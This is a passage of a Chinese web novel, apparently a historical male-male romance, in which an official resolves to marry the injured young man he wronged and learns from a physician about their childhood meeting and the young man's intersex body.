“大人虽也曾怀疑过陆公子,可到底没有真正防备过他,”一心辩解道,“且大人一早便猜到陆公子身份尊贵,是因救他才委身入通判府,故而对陆公子的隐瞒睁一只眼闭一只眼……你要相信,我家大人对陆公子是真——”
“呵,如今说这些,还有什么用呢?”阿生冷笑一声,打断了一心的话。
他想起自家少爷被软禁时那副不吃不喝的模样便心疼至极,看着一心的眼神唯有痛恨。
“我信与不信,都无法挽回今日的局面了,”阿生道,“你昨日也听到了,府医说少爷伤势过多,又高烧不退,若继续昏迷下去,不进食不吃药,只怕连性命都保不住!”
“你们一个两个仗势欺人,将我家少爷害到如此田地……”阿生将手臂收回,进而指着一心的鼻尖咒骂道,“若是我家少爷有什么三长两短,我就算……我就算做鬼,也不会放过你们!”
“啧,我向你保证,你家少爷不会有事!”
一心骤然拨开阿生的手,顺势将那冰凉的手指握入掌心,轻轻一带,将人拥进自己怀里。
他用另一只手搂住阿生的肩,一下一下轻轻拍打着,安抚道,“你别怕,我去寻襄州城最好的大夫来治,现在便去!绝不叫你家少爷有半点折损!”
“但你也不能太倔,一味护着陆公子的名节而讳疾忌医……人都这样了,你得让大夫仔细瞧瞧……那处啊!”
见阿生不吭声,一心叹了口气,又道,“还有,不许再说什么做不做鬼的话了……这,这多不吉利啊!”
“……”
阿生被迫伏在一心身前,本想挣扎,奈何手指还被紧紧地包裹着,牵扯着,叫他动弹不得。
他在温暖的怀抱中渐渐平复下来,顺着那有节奏的轻抚呵出一口长气,眼窝一酸,一长串泪水夺眶而出,淌湿了一心的肩头。
一心觉察出怀中人的颤抖,于是紧了紧手臂,更用力地将人桎梏在自己身前。
“笃,笃,笃。”
小厨房的木门传来三声敲击,阿生身子一僵,下意识便要挣脱,却被更加牢固地禁锢在怀里。
他听见一心回过头,没好气地冲门外人嚷嚷,“又怎么了?你想好要跟我交换消息了?”
“……我是来提醒你,”是沙卓的声音,“大人醒了。”
26. 26.铺陈
一心随沙卓从小厨房赶到侧间,看着那一室空空落落,惟余纱帐迎风摇曳,登时面面相觑。
不远处传来阿生的一声叹息,“大人不回房歇息,来沁荷居所为何事?”
顿了顿又道,“我家少爷如今是经不住任何折腾了,若大人执意为难,阿生便是死,也要护着我家少爷的。”
怎么又死来死去的?一心一听到阿生以死相逼便头疼,拨拉开沙卓便往沁荷居快步走去。
莽莽撞撞闯入房门大开的沁荷居,一心瞧见阿生正端着水盆,面色不善地盯着眼前。
顺着他的眼神看去,梁蕴品正穿着里衣坐在床边,面色惨白却目光灼灼地盯着病榻上的陆宛,他唇角抿成一条平直的线,似乎完全听不到阿生的胁迫,也感知不到任何动静。
“大人,大人?”
一心尝试着喊了两声,余光瞥见沙卓跨入门槛的身影,只当没看见,“咱们先回房歇着,好吗?”
“陆公子还在高烧,吃不下药,得让阿生给他擦拭身子才能祛热。”
他晓之以理,以为梁蕴品会听劝,不料梁蕴品充耳不闻,满心满眼都是面容憔悴,被折磨得不成人形的陆宛。
梁蕴品看着看着,突然伸出手,轻轻握住露在被子外那截嶙峋的腕。
是瘦了。
明明那日已经同他说好,让他等着他,说一切很快便会结束。
可中间不知出了什么岔子,他还是怨上了他……也不知是怨他不来看他,还是怨他怀疑他别有用心。
为何会落到如此地步……
为何他想要护住的人,终究一个都没护住。
“……您在这也无济于事,还不如回去休息呢,您说是吧大人……大人?”
一心口干舌燥地劝了许久,梁蕴品却像入了定般始终呆坐在床沿,叫他颇为头疼。
他叹了口气,悻悻接过阿生手中的盆,迎着他冷漠的脸色小心翼翼陪着笑,转身一把将盆压在沙卓手上。
沙卓:“?”
“别问,问就是你先惹出来的祸。”一心压低声音警告沙卓,顺势白了他一眼,“咱俩一起担着,别以为可以置身事外。”
沙卓不吭声了,端着盆同那两人一齐“罚站”,直到手臂终于传来酸意,才瞧见梁蕴品的眸很轻地眨了眨。
“阿生留下,我有话同他说,你们二人出去吧,在侧间等我。”
“呃……是,小的遵命。”
一心不明所以,边走边回头,生怕阿生暴起将梁蕴品掐死,沙卓倒走得利索,道了声“属下遵命”便离开了沁荷居,还抱走了那只已然变冷的水盆。
房门终于窸窸窣窣地关上,梁蕴品撩起眼皮,惨白的脸色更显出他棱角的锋芒。
他哑声问,“府医怎么说?”
阿生抿着唇不想回答,但终究敌不过梁蕴品的凝视——他似乎看出那束凌厉的视线中,除了常居上位者的威压之外,还藏了一丝若隐若现的恳求。
“府医说,少爷身上多处外伤,被啃噬过的,见了血的伤口,需每日换药;而掐痕和勒痕则需以红花油揉搓。”
阿生直言不讳,面不改色,甚至隐含恨恨之意,但言及一些敏感部位时,他依然有些许躲闪,“至于那处的伤……我家少爷素来不让府医相看,小的只得先用清水涤净,抹上膏药,待其自行康复。”
梁蕴品似乎并不满意这个答复,眸色一沉,“什么膏药?为何不能叫府医瞧过后再依症开药?”
“是湖州那位大夫开的,专治男子同房后的伤损之药。”
阿生顿了顿,似乎听到什么笑话般唇角一勾,“至于为何不让府医瞧过……大人难道猜不到,我家少爷在顾虑什么吗?”
梁蕴品闻言一怔,又听阿生道,“湖州的大夫也好,通判府的府医也罢,少爷从未叫他们近身验过伤……虽说医者仁心,但大人应当清楚,不是所有大夫都能接受我家少爷这副特殊的身子的。”
梁蕴品眉间一蹙,突然口不择言,将一直悬于心头的困惑说了出来,“那你呢?”
阿生一愣,“我?”
“你又是因何本事成为他的长随,为他沐浴,上药,无需避嫌的?”
梁蕴品眸色深得发黑,“我听闻陆家极宠爱这个小儿子,而他身子特殊,绝不是什么阿猫阿狗都能与他一同长大,成为他最亲近的玩伴与仆从的。”
梁蕴品莫名发难,却叫阿生眨了眨眼,忽然笑了。
他拱手福了福,“大人虽是六品襄州通判,也不好将手伸得太长,去管杭州陆家的家事,您说对吧。”
“……”
看着梁蕴品逐渐铁青的脸,阿生心中顿觉解恨,又猛不丁察觉到陆宛的身子一颤,心也跟着抖了抖。
梁蕴品似乎也察觉到了,他按捺住心中火气,将陆宛的手放回被中,又给陆宛掖了掖四角,正欲说些什么,却听得阿生极不情愿地解释道,“……大人只需要知道,这世上,没有比我更适合伺候少爷的人便是了。”
听着阿生的暗示,梁蕴品似乎想到了什么,眼角不自觉扫过阿生的□□,仅一瞬便撇开了。
他不再纠结这个话题,回过头关忧陆宛的情况,“人不可能不生病,既然他如此谨慎,想必在陆府,定有一位知根知底的府医专门为他诊治。”
“没错。”阿生道,“不过这位府医三年前便嫁人离府了,老爷和夫人一直想为少爷再聘一位,可少爷说他的脉相虽与常人不同,一些头疼身热的小病寻常大夫也能治,不必如此麻烦,便就此搁置了。”
“嫁人了?是位女大夫?”
大邹虽未明令禁止女子从医,但女大夫无法染指功名,考进太医局,又时常抛头露面,易遭人闲言碎语,故而十分罕见,医术精湛者更是凤毛麟角。
而这位女大夫竟能入陆府行医,还能成为陆宛的专司府医……梁蕴品忽为其成婚一事觉出三分惋惜。
但惋惜归惋惜,现下他所有私心都在陆宛身上,故沉吟片刻,道,“他身下的伤不能置之不理,还是得想办法,寻得那位府医才是……你方才说她嫁人了,嫁到什么地方去了,也在杭州?”
阿生略一思索,忽而眼前一亮,“她夫家,好像是巴州人!”
“巴州?”
梁蕴品一直紧绷着脑中的弦,闻言心下一松,“既如此近,事不宜迟,你便替我跑一趟巴州,延请这位大夫到府上医治他罢。”又言,“骑我那匹最快的马去,一来一回,三日尽可到了。”
阿生眼睛放光,刚想点头,猝不及防想到陆宛无依无靠,一时间踌躇起来。
“怎么,你不愿去?”梁蕴品看着阿生的脸色,有些费解。
“自然不是!为了少爷,小的愿赴汤蹈火!”
阿生的目光在陆宛和梁蕴品身上游移,“只是……只是少爷他孤身在通判府里……。”
“说的什么话。”梁蕴品眉心一皱。
自到襄州历练,又经历了如此多的阴谋诡计,梁蕴品愈发生出梁相不怒自威的样子来,看得阿生心底发怵。
他凝着眸睨向阿生,“有我在,谁敢动他。”
“……”阿生欲言又止,心想我家少爷正是因为您才落到这番田地,又听见梁蕴品承诺,“在你回来前,我会向知府大人告假,亲自照料他,为他洁身降热,给他添食喂药。”
梁蕴品挺直腰杆,正色道,“我以梁氏一族的荣辱作保,绝不再动他分毫。你可放心了?”
阿生抿抿唇,终究下定决心,朝梁蕴品深深一拜。
“那便拜托大人照顾我家少爷了,阿生去去就回,一定会把府医带回来!”
-
马是一心早就备好的,他眼睁睁瞧着阿生背着轻便的包袱冲向马厩,一脸困惑地看向朝自己走来的梁蕴品。
他指了指阿生远去的背影,“大人,阿生他……”
“他去寻大夫了,不必管他,我有事同你们相商。”
梁蕴品撑着疲惫的身子坐在堂前,本就惨淡的面容如今已无一丝血色,看得人心里一惊。
“大人,”一心打量着梁蕴品的状态,面露忧色,“有什么事不如改日再议吧,您刚刚发了病,又惊风高热,现下脸色比那黑白无常还吓人……”
“你见过黑白无常?”
梁蕴品一句话将一心的嘴堵上,又看向沙卓,“昨日的信,我只看了一半。”
“后半段说了什么?”
沙卓还沉浸在对梁蕴品病情的猜测中,闻言微怔,如实道,“是二少爷关于四少爷被扣宫中缘由的猜想。”<
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“嗯,继续。”
沙卓见梁蕴品垂着头精神不支,便理了理信中所言,简明扼要道,“二少爷说,夫人前些日子去了卫国公府的雅集,同几位贵眷夫人交谈时,聊及几家公子小姐的婚配之事。”
沙卓顿了顿,“听说,卫国公,戚太师和平北侯夫人,都有意与梁家结亲,将嫡女许配给您。”
梁蕴品闻言一怔,腰杆几乎支撑不住上半身的重量,抬起头时露出微微失措的神情。
一心眼疾手快,在沙卓话音落下的瞬间扶住了梁蕴品,却被他轻轻拨开,示意自己没事。
他眼神定在沙卓身上,“母亲难道……答应同他们说亲?”
“大人多虑了,夫人自是能挡则挡,一笑而过。”沙卓道,“但禁不住雅集上人多口杂。”
他抬眼暗示梁蕴品,“听说,‘那位大人’的夫人,当日就在雅集中。”
梁蕴品豁然明了——“那位大人”,自然是指太史令。
但他总觉此事没那么简单。
天旨一事,事关梁家的生死与大邹的国运,即便是幕后设局者也不该将此事与内眷透露太多,万一横生枝节坏了大事,得不偿失。
而这位太史令作为棋局中最重要的一颗棋,一定也接收了幕后之人的耳提面命,不该如此鲁莽才是。
可若不是太史令夫人,还会是谁呢……
梁蕴品隐隐觉得,有一位重要的人物必然在场,可国公家的雅集,动辄能邀来二三十家女眷,有时甚至能邀来宫里的娘娘和公主……
个个都有嫌疑,他要怎么才能锁定此人?
他越想越头疼,抬手将头支在椅子扶手上,边沉思边听一心阴阳怪气地同沙卓吵架。
“还‘那位’大人呢……说来说去不就是要防着我知道?”
一心抱着臂,鼻孔里的嗤声恨不得要喷涌而出,“沙卓,你同我共事那么久,你别告诉我你没看出来我是什么人!”
“我能为大人上刀山下火海!有什么事你能知道,偏偏我知道不得的?”
“……”
沙卓不愿理会一心的无理取闹,只一味思忖着梁二信中描绘的波云诡谲。
他定了定神,同梁蕴品分析道,“大人,属下虽不知天旨中写了什么,但大相公曾提醒过我们几兄弟,绝不能叫四位少爷靠近任何女子,连家中女使也要分外留神。”
“想必天旨所言与此事定有瓜葛,且因种种缘由,成了今上的一块心病。”
梁蕴品眸色一暗,撑着头默不吭声,又听沙卓续道,“如今四少爷被软禁,是今上对梁家的一次重重的敲打,虽说其中不乏有人煽风点火,但此事也给了咱们一个警醒——”
他顿了顿,道,“男女之事也好,婚姻大事也好,官家的心病日甚一日,已非是四位少爷洁身自好,不近女色便可解决的了。”
……
梁蕴品兀自沉默着,思忖着,似乎听进去了,又似乎根本没将沙卓的分析放在心上。
倒是一心听了沙卓的话,本就烦躁的心更加不安起来,他狠狠地甩了沙卓一个白眼,“这件事还用你说?你这么厉害,倒是给大人出个主意啊?”
想着想着又来了气,猛地踹了一脚地板,“操,少爷这婚,成也不是不成也不是,难道官家非要把咱家哥儿几个都逼死,或是都召到宫里,放到眼皮底下日日囚着才安心吗?”
……倒也不是只有顺从的路,沙卓心道。
他撩起眼瞥了瞥梁蕴品,又垂下眼来盯着地面。
古人云,不孝有三,无后为大。他不知天旨说了些什么,也不知官家为何非要让梁家人断情绝爱……可他知道,断情绝爱的后果,必然是断子绝孙。
没有一个家族能坦然地走向灭亡……他读了许多史书,古往今来将事情做绝的君主,没一个有好下场的。
可梁家绝口不提此事,他身为小小一名府卫,理应恪尽职守,闭口不谈,于是同梁蕴品一起沉默着,听一心在边上拿地板和桌腿撒气,直到一声很轻的笑响起,俩人一怔,齐齐看向堂前座。
“既然他们如此看重我的婚事……”
梁蕴品勾着唇,死气沉沉的眸一寸一寸注入点点生机。
“那我便遂他们的愿,成婚便是。”
27. 27.贵子
梁蕴品一句话,如平地一声惊雷,叫沙卓这样的闷葫芦都抬了眼,更不要说平日里便咋咋呼呼的一心。
一心一时没反应过来,眼珠子差点瞪出来,冒着傻气问了句,“大人要成婚?同谁?哪家的小姐?”
“……”
梁蕴品扶着额,半偏着脸皮笑肉不笑地睨着一心,“你说呢,你觉得是哪家?”
“我说?我说了……不算数吧……”
一心讪笑着低下头,不知梁蕴品又在同他玩什么把戏,心道哪家的小姐也不成啊,官家老儿在上面盯着呢,少爷总不会是要同官家硬碰硬吧……
又不知为何出了神,想到在汴都时,他跟在少爷后边,也是见过不少大家闺秀的。
平心而论,那些千金小姐美则美矣,也十分有涵养,但无论是相貌还是气质,他总觉得差了那么点儿仙气。
而这点仙气,他只在陆宛这个出身铜臭世家的小公子身上见过。
真是太奇怪了。
一想到陆宛,一心飘走的思绪终于回笼,他有些担心陆宛得知这个消息的反应,却倏忽福至心灵,猛地抬头看向梁蕴品。
“呵,总算反应过来了。”
梁蕴品好整以暇地瞧着他,嘴角上挑的弧度愈发明显,颇有些看傻子乐的意味。
“大人,您说的,是,是是……”
一心难以置信,下意识转头同沙卓分享震惊,却发现沙卓早就恢复了平静,仿佛一早猜到梁蕴品的话中人是谁。
“我靠,你猜到了你不说话?”
一心狠狠挖了沙卓一眼,回身看向梁蕴品,神情似乎有些激动,又有些不安。
“大人,您想好了吗?”一心道,“大人要娶陆公子,在小的看来确是佳偶天成的好事,可前些日子小的才问过您,您说门第是鸿沟,难以逾越,大相公同夫人定然不会松口。”
一心的眉心越说越紧,“现如今,门第之差依然存在,不知您有何打算,要用什么理由说服二位尊长呢?”
“说服……”
梁蕴品敛了笑,垂下眼默了片刻,突然道,“一心,你说反了。”
“什么?”一心错愕。
“不是我要去说服父亲母亲接受陆宛,”梁蕴品抬起头,眼神中充满了笃定,“是梁家要向陆家求娶嫡子,为梁家渡厄,平息风波。”
“……”
一心一时想不明白其中的要害关系,怔愣着挠了挠头。
一旁的沙卓见状微不可察地叹了口气,适时出声补充,“官家令四位少爷远离女色,便是断了少爷们与女子婚嫁之路。但不娶妻,还能有妾,有通房,外室,甚至露水情缘。”
“官家永远不可能对梁家彻底放心,除非少爷娶一门男妻,表明其断袖之癖与不近女色的决心。”
沙卓缓缓道,“但这位男妻,地位不可过高,又不可太低……过高,梁家恐有结党之嫌,于朝堂稳定不利,过低,则跌了相府嫡长子的脸面。”
一心的嘴越张越大,似在一团乱麻中终于摸着一个线头,恍然道,“我明白了……若是大人求娶朝中官员之子,无论官大官小都不合适,读书人最看重脸面,拒绝后说不定还要参上一本,告梁家仗势欺人……”
“只有远离朝堂的,外面的……”
沙卓点头附和,“商贾也好,江湖人士也罢,能叫得上名号的,都能解梁家之困。”
言罢,他抬眼看向一直沉默的梁蕴品,突然对这位年少的主子生出几分真正的敬意。
他自入府以来,看见的都是梁蕴品不甚成熟的一面,殊不知这位堪堪及冠的少年竟有如此深沉的心思,能在一片残局中走出一记亮眼的棋着,继而柳暗花明,扭转乾坤。
梁蕴品并不知沙卓内心的小九九,他耷拉着眼皮,耐心听两位随从你一言我一语,心中浮起一丝欣慰。
但这点欣慰并不能消解他身心上的疲惫,末了,他吁了口气,悠悠道,“此时成婚,除了打消官家的顾虑,还有第二重用意。”
他撩起眼看向堂下,“我想让父亲以我的婚约向官家作保,将四弟,从宫里接回来。”
此言一出,便是连沙卓都没忍住,独眼中的光芒骤然一闪。
一心更是惊喜之情溢于言表,一整个眸子都在放光,“真的吗?”
“若能将四少爷接回梁府,夫人的病一定能不药而愈!那可真是……太好了……”
沙卓觉察到一心声音不对,余光扫了一眼,只见他眼尾通红,似有点点晶莹在眸中滚动。
一心抹了把脸,吸溜了一下鼻子,又忍不住笑出了鼻涕泡,“太好了,大人堂堂正正娶到了陆公子,官家能对梁家放心些,四少爷也能回家了。”
一箭三雕,何其幸哉。
梁蕴品也后知后觉地感到庆幸,他庆幸自己从一开始便对陆宛着迷,即便自欺欺人,反复退避试探,也从未真正为难于他。
又庆幸陆宛的出身贵而不赫,能让自己在紧要关头想出破局之策,叫所有人的心都安然落下。
他当真是自己的贵人,梁家的贵人。
但最庆幸的……是陆宛真心喜欢他。
不,是曾经喜欢……梁蕴品蓦地想起他晾着陆宛足足一月,又想起他不管不顾用纱帐将人吊在落芙亭中,用尽浑身蛮劲没完没了地*,还啃得他身上没有一块完整的皮肤……
他莫名浮上一丝心悸:万一陆宛受够了,不愿再将那份喜欢再施舍予他……他该如何是好?
厅间,两人吵嘴的话逐渐在梁蕴品耳畔清晰,梁蕴品聚意凝神,发现竟是一心在为陆宛向沙卓讨说法。
“我当初怎么劝你来着?我让你有点眼色,别一根筋走到底,你不听,非得把事情闹得不可收拾……”
一心将手一摊,“这下好了吧,查了一个月什么都查不到,连陆老爷和陆夫人都不曾与江、王两位大人扯上关系,清清白白一家子……”
“……”
“啧,你这是什么表情?”一心看着沙卓那副不走心的样子就来气,“反正你得罪的是通判府未来的当家主母,梁府未来的大少夫人,你……呵呵,自求多福吧!”
“……”沙卓又是一阵无语,余光瞧见梁蕴品回了神,便低头拱手,顺势岔开话题。
“大人既已思虑周全,应可修书一封传回汴都,着二少爷同大相公,夫人商议。”沙卓建议道,“这样既可叫夫人有了盼头,早日康复,也能叫大相公和夫人早为议亲做准备。”
“……不急,一切等阿生找来大夫,为他诊治后再说。”
梁蕴品冷着脸瞧不出情绪,一旁的一心却敏锐察觉到不妥,却说不出哪里有问题。
“属下知晓大人心系陆公子,”沙卓坚持道,“然时不我待,夫人仍在病榻缠绵,而四少爷在宫中情势未卜。大人何不先将好消息传回,再慢慢……”
“不急。”梁蕴品依旧不为所动,“至少等他身体好转些,再议。”
“……”
一心与沙卓不约而同皱了皱眉,眼珠一转,他好像知道问题出在哪里了。
——不过是一封解忧的家书而已,梁蕴品从来心疼父母手足,知轻重懂孝义,为何此次如此倔强,偏不叫梁家把心落回肚子里?
除非……
一心蓦地倒吸一口冷气,难以置信地看向梁蕴品,脱口而出,“少爷,陆公子他……知道您要同他成婚吗?”
哪壶不开提哪壶。梁蕴品脸色一黑,没吭声。
一心现出慌乱的神色,“那您闹这么大一出……他能同意嫁给您吗?”
梁蕴品脸色阴得能滴水,终于开口,“这不是你该考虑的。”
“……”一心欲言又止,目光躲了躲又忍不住迎上去,“少爷,小的还有最后一个问题。”
梁蕴品撇开脸,余光却滞留在一心身上。
“若有一日,陆公子知道了您如今的处境……”
一心想了想,还是硬着头皮把梁蕴品埋下的火药提前挖了出来,“他会不会误会您,是为了救梁家才娶他的啊……”
“………………”
他会这样想么?
梁蕴品端坐于沁荷居的六仙桌前,盯着那扇绣荷的屏风发愣。
那屏风不知何时绣上了两尾灵动的鲤鱼,摇头摆尾地在芙蕖与莲叶间穿梭嬉戏。一尾粗大壮实,通体红里泛金,一尾则纤细飘逸,泛白的小腹下透着一抹藕色。
梁蕴品又开始后知后觉——这两尾鱼,仿佛一月之前还不在这屏风之上。
是陆宛绣的。
怪不得这几日攥他的手,总觉得
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他指尖布满了细细密密的伤口。
梁蕴品叹了口气,透过屏风看向床前忙碌的身影。阿生带回的女大夫姓姬,竟是圩宁族人,幼时流落大邹边境被陆之垣救起,为答谢陆家从此苦练医术,可以说陆宛是在她的庇护下才能安然长大。
眼下姬大夫正在给陆宛验伤,嘴里不住地发出阵阵惋叹,听得梁蕴品心情七上八下,连一心走到他身旁也懒得瞟一眼。
一心丝毫不敢逾矩,眼神只落在梁蕴品身上,提醒道,“大人,眼下已是晌午,不如先用饭吧。”又将手中食盒往前推了推,“韵婉楼的掌柜不知从何处听闻陆公子病了,特意送来这个食盒,说是孝敬大人和公子的一片心意。”
“韵婉楼?专程送来的?”
梁蕴品终于肯给一心施舍一个正眼,视线却恰好落在食盒顶端。
他发现这个食盒比他往日所见食盒都要古朴,一看便是由顶级乌木重工打造,食盒顶端正中还镶嵌了一颗猫眼似的绿松石,绿松石内光影流动,似有文字篆刻其中。
梁蕴品被那绿松石晃了眼,不由得靠近了些,只见石头中央赫然刻着两个银漆描边的篆体小字——
蕴宛。
梁蕴品一怔,倏忽双目圆睁,心中的平静被一股极具冲击力的震撼所打破。
这是……陆宛的字。
“韵婉”即是“蕴宛”,“舒志巷”是愿他“遭周文而舒志”。
还有什么,还有什么是陆宛久久藏匿于心,却没机会宣之于口的?
对了,王叔曾与他说,来襄州置办产业时走了大运,一位身份低调的富商着急回乡,欲将此宅低价脱手,正巧遇上了梁家来此地购置府邸。
他真傻,这世间哪有那么多巧合……无非是陆宛在前头为他铺路,好让他坐享其成罢了。
怪不得……怪不得陆宛初来乍到,下马车时竟流露出一丝眷念的神情……
这本就是他的宅,是他为自己悉心打造的爱巢,而他梁蕴品鸠占鹊巢,还将人生生耽误了许久,只落得一个遍体鳞伤的下场。
梁蕴品忽然浑身颤抖起来,细密的疼痛爬上他酸胀的胸膛,他扪着心,大口大口喘着粗气,却像一尾窒息的鱼,怎么都找不到宣泄的出口。
一心被梁蕴品吓坏了,连忙上手扶住他,心道这又是怎么了,这个食盒难道也下了毒药么?
“大人,大人?”
一心急得眉头直皱,顾不得三七二十一,扬头便喊,“大夫,姬大夫,您快来瞧瞧我们大人吧,他好像……好像又不好了!”
“啧,怎么了?”
姬青从屏风后绕出来,瞧见梁蕴品脸色惨白,眼神中的嫌弃顿时转为紧张,连忙上手给他按住人中。
她嘱咐一心去泡杯参茶,又让阿生去小厨房看着点火,别把陆宛的药煎坏了。
几人各忙各的,沁荷居里一时仅剩梁蕴品同姬青两人,还有卧在榻上,昏迷未醒的陆宛。
须臾,梁蕴品在姬青的揉按下稍稍平缓了呼吸,他带着歉意向她致谢,又表明自己想到床边陪着陆宛。
“大人去作甚?”姬青没好气地睨了他一眼,“大人自己的身子还未康复,小少爷也需休息,人多了反而不利于病情,大人回房歇着就行,这儿有我和阿生。”
“姬大夫,”梁蕴品唇色惨白,面容憔悴,“您说的我都清楚,我只是……想看看他,仅此而已。”
“呵,要看不早看?”
姬青早在来的路上便听阿生说了来龙去脉,对梁蕴品此人是又恨又无奈,没给过他一个好脸色。
她虽远渡他乡,寄人篱下,却打小聪明,才智不输男子,偏陆家也是个好说话的东家,因而她长成了一身傲骨,比阿生还要桀骜不驯些。
眼下见梁蕴品被怼得面色铁青,她无奈一哂,自言自语道,“我说什么来着?齐大非偶齐大非偶,小少爷就是不听,自打十岁那年见了一面便日日惦记着……这下好了,心病没去,身上的病痛倒多了,真是越发不可收拾了。”
“姬大夫方才说什么?”
梁蕴品从那细细密密的埋怨中摘取出只言片语,几乎要拼凑出一个他一直以来苦苦追寻的真相。
他忍不住仰头看着姬青,面露恳切,小心翼翼问,“陆公子十岁那年便见过我,对吗?”
28. 28.羁绊
姬青鼓着腮帮子,舔着后槽牙睨了梁蕴品一眼。
“怎么,大人同我家小少爷也亲密过一段,他竟未告知大人如此重要之事?”
梁蕴品再度如鲠在喉,半张着嘴试图辩解,却发现自己无言以对。
“也罢,我家小少爷心思百转千回,他不乐意告诉大人,便是大人不值当。”
姬青故意曲解陆宛的意思,余光却在打量梁蕴品的反应,“主子不说,我这个做府医的就更不能说了。大人还是等主子醒来,再慢慢问他吧~”
说着抬腿便要走,梁蕴品一急,不顾自己孱弱的身子,起身挡在姬青身前。
“姬大夫且慢。”梁蕴品话说得缓,却字字真切,“我与陆公子从前……是有些误会,他不肯以真实身份相告,是不想我难做,也是我没给他足够的信心。”
姬青挑了挑眉,抱着手臂抬眼看向梁蕴品。
“我遭人暗算,身染恶毒,一旦发病便难以自抑……”梁蕴品决心从头如实相告,好让姬青彻底放下防备心,“亏得他随我入府,几次三番为我解毒,我才活了下来。”
说着,梁蕴品喉间竟出现一丝哽咽,“他遍体鳞伤,是为我。是我对不住他。”
“但从今往后,我向您保证,我会护着他。”
梁蕴品郑重起誓,“无论发生任何事,有我在一日,便不会叫陆公子受委屈片刻。”
姬青听及此处,视线一挑,眸子里才算是有了半分肯定。
她背过手,挺直腰板同梁蕴品对视,“梁大人可知,这句承诺有多重?陆家是配不上梁家,但你若要以我家少爷为妾,等当家主母登堂入室,光靠您这张嘴……可护不住我家少爷啊~”
梁蕴品凝神,眉间一蹙,“我从无以他为妾之意。除他以外,也从未动过娶妻的念头。”
姬青再一挑眉,与梁蕴品对视片刻,忽而很轻地笑了笑。
“好。大人有情有义,倒也不算辜负我家少爷一片真心。”
姬青目光坦然,“大人想知道什么?”
又道,“小少爷心思细腻,有许多话都藏在心里,有许多事我不一定清楚,但我好歹是看着他长大的,有我能帮上忙的,定知无不言,言无不尽。”
“所有!”梁蕴品见姬青终于松口,喜出望外,“有关于我同他的从前,我都想知道。”
姬青一笑,请梁蕴品先落座,梁蕴品扶着桌沿脱力坐下,抬眼灼灼地看向姬青,“姬大夫,他十岁那年,于何时何地,因何机缘同我相遇?又是为什么……从此记挂上我?”
“机缘……呵,这大抵便是命吧。”
姬青抿了抿唇,露出一个无可奈何的神情。
“其实以大人的聪明才智,根本无须我多言,我只需告知您一个地方——枫月山。”她视线一转,“大人还记得,八年前,枫月山上发生了什么事吗?”
枫月山……汴都南郊那座风景颇雅的小山丘。
梁蕴品目光微滞,十二岁那年的记忆像被秋风翻动的书页般“呼啦”作响,“您是指……枫月山诗会?”
随即摇了摇头,否认了自己内心的想法, “我方才回忆了一遍,参与诗会者皆是京城子弟,陆宛决不曾混迹其中。”
姬青摇了摇头,“小少爷不是去参加诗会的。”
她娓娓道来,“那年老爷夫人带上小少爷,到汴都谈一门生意。路过枫月山歇脚时,小少爷被远处的风景迷了眼,情不自禁走了过去,赶巧那年上山的人多,陆家奴仆带得少,阿生又得了病,没随侍在小少爷身侧。”
“一来二去,小少爷便跑丢了。”
梁蕴品微怔,仍旧不明白自己为什么记不得陆宛,“可即便他不是诗会中人,只要我见过他,便一定会——”
“大人再好好想想?”
姬青一哂,盯着梁蕴品的眼睛,很认真地挥下一记重锤,“大人可还记得,您当年在半山腰,救过一个小姑娘?”
回忆骤然停在那确切的一页,梁蕴品彻底愣住了——是她?
他提起一口气,艰难发问,“您的意思是……”
“大人只知小少爷身子特殊,男女莫辨,却不知他这副身子并非生下来就是这样。”
每当想起此事,姬青都会忍不住叹惋,“小少爷八岁以前是个彻头彻尾的女子,妇人之处虽生来凹陷,到底也没长出什么不该长的东西,故而我一直不曾理会。”
“可在他八岁那年,我例行检查身子时,意外发现那处有些红肿,随后便日渐隆起,凭空生出一截……哎。”
虽时过境迁,姬青想起当时的陆宛依然觉得心头微酸,“小少爷……不,她当时还是‘五姑娘’,五姑娘什么都不知道,只一宿一宿抱着夫人,抱着我,说疼,很疼……”
姬青抹了抹脸,“当时我也还小,医术不精,只能看着她煎熬却束手无策……好在她虽生了异样,到底不曾有性命之忧。”
梁蕴品听得揪心,嘴唇也不自觉抿成一条线。
“再后来,她便恢复了康健,一家人的心头大石也落了下来。”姬青叹了口气,“老爷和夫人因着她的事商讨了许久,决定还是让她以姑娘的身份活下去,直至那年。”
她撩起眼,恨恨道,“十岁那年,她独自一人在枫月山上走失许久,又遭遇一群狂徒偷窥,说她不男不女,是个妖怪,差点把她捆起来烧了……回来她便生了一场大病。”
“自此,她便去了红装,改头换面,以男子的身份自处,到十四岁时彻底长成了翩翩公子的模样。陆家也因着他从宣州迁到了杭州,自此便多了一名小少爷,少了一位五姑娘。”
盘桓多日的心结终于解开,梁蕴品深深吸了口气,一切得不到回应的疑问此刻都有了结果。
“她为了躲避那群人,慌忙逃窜间跌落山腰,遇上了我和一心。”
梁蕴品沉声接道,枫月山上的事,他比任何旁人都要清楚,“山腰瘴气极重,又人迹罕至,一心和她都崴了脚,我们还莫名迷了路……”
姬青眼中的怨气散了三分,点点头,“没错。小少爷说,当年您的仆从也受了伤,但您见她孤零零一个姑娘流落在外,二话不说便背起她一齐寻路,还在山洞里避雨时,将唯一的干粮和外衣给了她。”
梁蕴品顺着姬青的话回忆起前尘往事,脑海中那张白净稚气的脸与如今的陆宛渐渐重合。
他太迟钝了……无论是对他们的初见,还是对陆宛为他做下的种种。
“后来回到汴都,我替他报了仇的。”
梁蕴品突然蹦出这句话,不知是替自己的品行辩解,还是叫姬青多一分心安,“那些偷窥她,差点害了她的浪荡子,要么父亲被参,家族衰败,要么举家迁往北荒南蛮。”
“总而言之,汴都没有人再能伤害她了。”
梁蕴品一直以沉稳持重的姿态面对姬青,陡然听到他说出如此孩子气的话,姬青不禁噗嗤一笑。
“小少爷早就知道啦。”
她睨着梁蕴品,“正是因为您替他报了仇,才叫他陷得更深,以至茶不思饭不想,就连您进贡院考试,他都特意去了趟汴都,就在离贡院最近的一家茶舍里坐着,等着。”
她微微一叹,颇有些恨铁不成钢的意味,“一场会试三日,您考了九日,他便坐了九日,掐头去尾,他在汴都足足待了一个月,只为远远地陪着您,守着您!”
梁蕴品又怔住了,爬满红血丝的眼底被一团雾气掩盖,那种被真心紧紧包裹住的酸胀感再一次涌了上来。
“这还没完呢,为了不错过放榜,小少爷不听老爷夫人劝阻,一意孤行待在汴都附近,托辞说要替陆家寻些好买卖,找些好销路。”
“您别说,就那么会儿时间,倒真叫他寻出一些门路来。”
姬青想起那段日子便觉得十分离谱,陆宛身边只有她与阿生,还有寥寥几名府卫,竟敢单枪匹马四处闯荡,还真叫他闯出一番小天地来了。
